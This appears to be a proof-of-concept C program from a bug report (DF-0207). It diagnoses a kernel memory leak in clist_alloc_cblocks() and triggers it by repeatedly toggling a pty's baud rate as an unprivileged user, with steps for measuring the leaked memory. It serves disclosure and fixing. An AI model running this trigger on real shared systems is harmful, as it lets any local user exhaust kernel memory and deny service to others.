DF-0207 / df0207_leak.c
/* * DF-0207 - Memory leak in clist_alloc_cblocks() [sys/kern/tty_subr.c] * * clist_alloc_cblocks() kmalloc()s a new c_data buffer, bcopy()s the old * contents into it, then overwrites cl->c_data = data WITHOUT kfree()ing * the old buffer. Every resize leaks old_ccmax*sizeof(short) bytes of * M_TTYS kernel memory. * * Trigger (unprivileged): openpty() a master+slave pty, then repeatedly * tcsetattr() the slave with alternating output baud rates. tty.c:1085 * calls ttsetwater() whenever c_cflag/c_ispeed/c_ospeed change, which * recomputes the outq buffer size (x, tty.c:2489) and calls * clist_alloc_cblocks(&tp->t_outq, x). Changing ospeed changes x -> * ccmax != cl->c_ccmax -> realloc -> leak. * * Build: cc -O2 -o df0207_leak df0207_leak.c -lutil * Run: ./df0207_leak [iterations] (default 20000) * * Measure the leak with root BEFORE and AFTER: * vmstat -m | grep -i ttys * M_TTYS MemUse grows monotonically (~6-10 KB per iteration). */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <termios.h> #include <util.h> /* termios output baud values that produce DIFFERENT outq ccmax: * ccmax(outq) = imax(CLAMP(ospeed/10*3/2, 2*2048, 100), 2048) + OBUFSIZ + 100 * ospeed=9600 -> cps=960 -> ohiwat=1440 -> x=2048 -> ccmax=3172 * ospeed=115200 -> cps=11520-> ohiwat=4096 -> x=4096 -> ccmax=5220 * Toggling the two leaks the previous buffer every iteration. */ #define SPEED_LO B9600 #define SPEED_HI B115200 int main(int argc, char **argv) { long iters = (argc > 1) ? strtol(argv[1], NULL, 10) : 20000; int mfd, sfd, i, changes = 0; char slavename[64]; struct termios t0, t; if (openpty(&mfd, &sfd, slavename, NULL, NULL) < 0) { perror("openpty"); return 1; } if (tcgetattr(sfd, &t0) < 0) { perror("tcgetattr"); return 1; } printf("DF-0207: triggering clist_alloc_cblocks leak via tcsetattr\n"); printf(" slave=%s toggling B9600<->B115200, %ld iterations\n", slavename, iters); fflush(stdout); for (i = 0; i < iters; i++) { t = t0; cfsetospeed(&t, (i & 1) ? SPEED_LO : SPEED_HI); cfsetispeed(&t, (i & 1) ? SPEED_LO : SPEED_HI); if (tcsetattr(sfd, TCSANOW, &t) == 0) changes++; } printf("DF-0207: done. %d/%ld tcsetattr calls changed baud -> reallocated " "outq buffer each time.\n", changes, iters); printf("DF-0207: each realloc leaked the PREVIOUS outq buffer " "(old_ccmax * sizeof(short)).\n"); printf("DF-0207: run 'vmstat -m | grep -i ttys' (as root) to observe " "M_TTYS MemUse growth.\n"); close(sfd); close(mfd); return 0; } |